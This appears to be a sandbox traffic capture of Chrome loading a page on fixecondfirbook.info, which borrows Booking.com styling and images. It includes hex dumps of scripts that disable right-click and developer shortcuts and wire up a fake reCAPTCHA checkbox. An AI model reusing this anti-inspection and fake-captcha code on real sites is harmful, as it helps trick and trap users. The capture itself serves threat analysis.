2025-01-16 16:20:26 UTC	1369	IN	Data Raw: 74 65 64 3a 20 23 63 65 63 65 63 65 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 66 6f 63 75 73 3a 20 72 67 62 61 28 32 31 32 2c 20 31 37 2c 20 33 30 2c 20 2e 32 34 29 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 61 63 63 65 6e 74 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 34 32 34 32 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 63 61 6c 6c 6f 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 34 32 34 32 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 6f 6e 5f 63 74 61 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b Data Ascii: ted: #cecece; --bui_color_destructive_focus: rgba(212, 17, 30, .24); --bui_color_on_background: #fff; --bui_color_on_accent_background: #242424; --bui_color_on_callout_background: #242424; --bui_color_on_cta_background: #fff;
2025-01-16 16:20:26 UTC	1369	IN	Data Raw: 75 6e 64 3a 20 23 30 30 38 32 33 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 72 61 6e 64 5f 70 72 69 6d 61 72 79 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 33 62 39 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 64 65 73 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 3a 20 23 66 66 66 35 66 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 6f 6e 73 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 3a 20 23 66 31 66 65 66 36 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 72 61 6e 64 5f 67 65 6e 69 75 73 5f 70 72 69 6d 61 72 79 5f 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 33 62 39 35 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 Data Ascii: und: #008234; --bui_color_brand_primary_background: #003b95; --bui_color_destructive_background_alt: #fff5f5; --bui_color_constructive_background_alt: #f1fef6; --bui_color_brand_genius_primary_background: #003b95; --bui_color
2025-01-16 16:20:26 UTC	1369	IN	Data Raw: 70 61 63 69 6e 67 5f 31 32 78 3a 20 34 38 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 36 78 3a 20 36 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 32 34 78 3a 20 39 36 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 68 61 6c 66 3a 20 32 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 62 6f 72 64 65 72 5f 77 69 64 74 68 5f 31 30 30 3a 20 31 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 62 6f 72 64 65 72 5f 77 69 64 74 68 5f 32 30 30 3a 20 32 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 62 6f 72 64 65 72 5f 72 61 64 69 75 73 5f 31 30 30 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 62 6f 72 64 65 72 5f 72 61 64 69 75 73 5f 32 30 30 3a 20 38 70 78 3b 0a 20 20 Data Ascii: pacing_12x: 48px; --bui_spacing_16x: 64px; --bui_spacing_24x: 96px; --bui_spacing_half: 2px; --bui_border_width_100: 1px; --bui_border_width_200: 2px; --bui_border_radius_100: 4px; --bui_border_radius_200: 8px;
2025-01-16 16:20:26 UTC	846	IN	Data Raw: 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 5f 32 5f 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 5f 32 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 53 65 67 6f 65 20 55 49 2c 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 73 6d 61 6c 6c 5f 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 31 5f 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 2d 2d 44 4f Data Ascii: _USE_bui_small_font_small_2_line-height: 16px; --DO_NOT_USE_bui_small_font_small_2_font-family: BlinkMacSystemFont, -apple-system, Segoe UI, Roboto, Helvetica, Arial, sans-serif; --DO_NOT_USE_bui_small_font_strong_1_font-size: 16px; --DO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49768	172.67.168.162	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:28 UTC	542	OUT	GET /languageRevert.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:28 UTC	967	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:28 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 874 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"36a-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=paKYpEn4drmrTDN6mMFqveVE0OBvVhbaAxmPDyMlo3i9ixl6C7RXYQRENJqaxWr6r4xyaL4WxE4%2F9PU%2Bvl09Sjf4hf%2BBFqf4t7F0OWtHZ3xxuIaSd1zgb4fbqA%2B1G898DPwewT36EA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6edd3c3eec6f-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14174&min_rtt=14167&rtt_var=5328&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=1120&delivery_rate=205229&cwnd=32&unsent_bytes=0&cid=64195d90a77e82d2&ts=372&x=0"
2025-01-16 16:20:28 UTC	402	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 72 65 76 65 72 74 4c 61 6e 67 75 61 67 65 43 68 61 6e 67 65 28 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 21 3d 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 63 6f 6e 73 74 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 3b 0a 0a 20 20 20 20 63 6f 6e 73 74 Data Ascii: (function() { function revertLanguageChange() { if (document.documentElement.lang !== originalLang) { document.documentElement.lang = originalLang; } } const originalLang = document.documentElement.lang; const
2025-01-16 16:20:28 UTC	472	IN	Data Raw: 5d 20 7d 29 3b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 6e 74 65 78 74 6d 65 6e 75 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 7d 2c 20 66 61 6c 73 65 29 3b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6b 65 79 64 6f 77 6e 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 28 65 76 65 6e 74 2e 63 74 72 6c 4b 65 79 20 7c 7c 20 65 76 65 6e 74 2e 6d 65 74 61 4b 65 79 29 20 26 26 20 65 76 65 6e 74 2e 73 68 69 66 74 4b 65 79 20 26 26 20 65 76 65 6e 74 2e 6b 65 79 2e 74 6f Data Ascii: ] }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); }, false); document.addEventListener('keydown', function(event) { if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey && event.key.to

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49769	172.67.168.162	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:28 UTC	542	OUT	GET /captchaHandler.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:28 UTC	969	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:28 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 586 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:38 GMT ETag: W/"24a-19440759fb0" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fZxvFeSMPSxvI5nNvCtFGd%2BXrECNsKGxkvlyOUWR1flI9vtkTrh0%2Bm7XSIVx%2FbY0qsAM8OxtZpCIaRi9S2VGjTaB%2FOYJ2gNvrR0fMF61e8xdpjRA1%2F20Qa6Q8MlJXDMBIn3s7cDSaA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6edd5d3daad3-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13716&min_rtt=13713&rtt_var=5149&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=1120&delivery_rate=212533&cwnd=32&unsent_bytes=0&cid=be989f8002a3af32&ts=374&x=0"
2025-01-16 16:20:28 UTC	400	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 63 6f 6e 73 74 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 72 65 63 61 70 74 63 68 61 2d 63 68 65 63 6b 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 20 28 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6c 69 63 6b 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 d0 9e d1 82 d0 bf d1 80 d0 b0 Data Ascii: document.addEventListener('DOMContentLoaded', function() { const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox'); if (recaptchaCheckbox) { recaptchaCheckbox.addEventListener('click', function() { //
2025-01-16 16:20:28 UTC	186	IN	Data Raw: 20 20 20 20 20 20 20 20 20 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 6f 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 20 0a Data Ascii: if (response.ok) { console.log(''); } else { console.error(''); } }); }); }});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49776	13.32.99.51	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:29 UTC	629	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:29 UTC	768	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Mon, 06 Jan 2025 04:05:32 GMT Last-Modified: Mon, 07 Sep 2020 09:08:23 GMT ETag: "5f55f887-282" Expires: Wed, 05 Feb 2025 04:05:32 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 a54cda8ccda3480314f451558e4dd062.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P3 X-Amz-Cf-Id: eEb5ByYNNxU1CTb2V5GuMWjjljUecbujMYcroazxYP5B46o4btuYlg== Age: 908097
2025-01-16 16:20:29 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49778	104.21.94.195	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:29 UTC	361	OUT	GET /languageRevert.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:30 UTC	979	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:30 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 874 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"36a-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RE2%2F4F8YSteGlI%2B%2FnwA%2FT%2FD%2BwCZnpo89kg%2FUAj%2F8XzLkB7nqlu%2BYabV0Lq3uN%2Ft7m5%2B0D6KJxAgKapscn5os9DtlpFWMmfPoEZIvhcacYSim6tfLeyJtJJYBQcikKe8nbXgyipdb2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6ee68a584314-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1718&min_rtt=1717&rtt_var=647&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=939&delivery_rate=1685912&cwnd=188&unsent_bytes=0&cid=1f95f5a5c11e469a&ts=311&x=0"
2025-01-16 16:20:30 UTC	390	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 72 65 76 65 72 74 4c 61 6e 67 75 61 67 65 43 68 61 6e 67 65 28 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 21 3d 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 20 3d 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 63 6f 6e 73 74 20 6f 72 69 67 69 6e 61 6c 4c 61 6e 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 6c 61 6e 67 3b 0a 0a 20 20 20 20 63 6f 6e 73 74 Data Ascii: (function() { function revertLanguageChange() { if (document.documentElement.lang !== originalLang) { document.documentElement.lang = originalLang; } } const originalLang = document.documentElement.lang; const
2025-01-16 16:20:30 UTC	484	IN	Data Raw: 74 65 72 3a 20 5b 27 6c 61 6e 67 27 5d 20 7d 29 3b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 6e 74 65 78 74 6d 65 6e 75 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 7d 2c 20 66 61 6c 73 65 29 3b 0a 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6b 65 79 64 6f 77 6e 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 28 65 76 65 6e 74 2e 63 74 72 6c 4b 65 79 20 7c 7c 20 65 76 65 6e 74 2e 6d 65 74 61 4b 65 79 29 20 26 26 20 65 76 65 6e 74 2e 73 68 69 66 74 4b 65 79 20 26 26 20 Data Ascii: ter: ['lang'] }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); }, false); document.addEventListener('keydown', function(event) { if ((event.ctrlKey \|\| event.metaKey) && event.shiftKey &&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49779	104.21.94.195	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:29 UTC	361	OUT	GET /captchaHandler.js HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:30 UTC	960	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:30 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 586 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:38 GMT ETag: W/"24a-19440759fb0" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tR1fyT8TUUnnpF%2FIdDlH7sgUVe2qrZmByuhjCgYku4v4ki7ZCJBupiGgYlmtqGh%2FUZ7rm3dBVsp3nFVVnqR5mWjbwrZoziMf3OsVKe8xwlEdMuzJlnfrprijRCGjqgIOLoM22iGFPw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6ee6a9048d17-BOS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7061&min_rtt=7061&rtt_var=2648&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=939&delivery_rate=413422&cwnd=32&unsent_bytes=0&cid=7bb0be236204e6b5&ts=348&x=0"
2025-01-16 16:20:30 UTC	409	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 63 6f 6e 73 74 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 72 65 63 61 70 74 63 68 61 2d 63 68 65 63 6b 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 20 28 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 43 68 65 63 6b 62 6f 78 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6c 69 63 6b 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 d0 9e d1 82 d0 bf d1 80 d0 b0 Data Ascii: document.addEventListener('DOMContentLoaded', function() { const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox'); if (recaptchaCheckbox) { recaptchaCheckbox.addEventListener('click', function() { //
2025-01-16 16:20:30 UTC	177	IN	Data Raw: 69 66 20 28 72 65 73 70 6f 6e 73 65 2e 6f 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 20 0a Data Ascii: if (response.ok) { console.log(''); } else { console.error(''); } }); }); }});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49780	172.67.168.162	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:29 UTC	596	OUT	GET /favicon.ico HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:30 UTC	946	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:30 GMT Content-Type: image/x-icon Content-Length: 610 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"262-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9%2BjV1nAAZ0BK%2BzM3%2BZ6F%2BMhDODt6veE8FFCLp0XBV8mmRHzXTz5y4vU1juCKQJwN891YpRut8LfPpN5A8oCT8wQMJSnkPwXo%2BL%2BB9pTWPlWkjQpd02OqcXvyx0E4xYcQPXCROM7FQQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6ee7083daa9d-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14427&min_rtt=14253&rtt_var=5693&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=1174&delivery_rate=186617&cwnd=32&unsent_bytes=0&cid=dff01b10e246084e&ts=377&x=0"
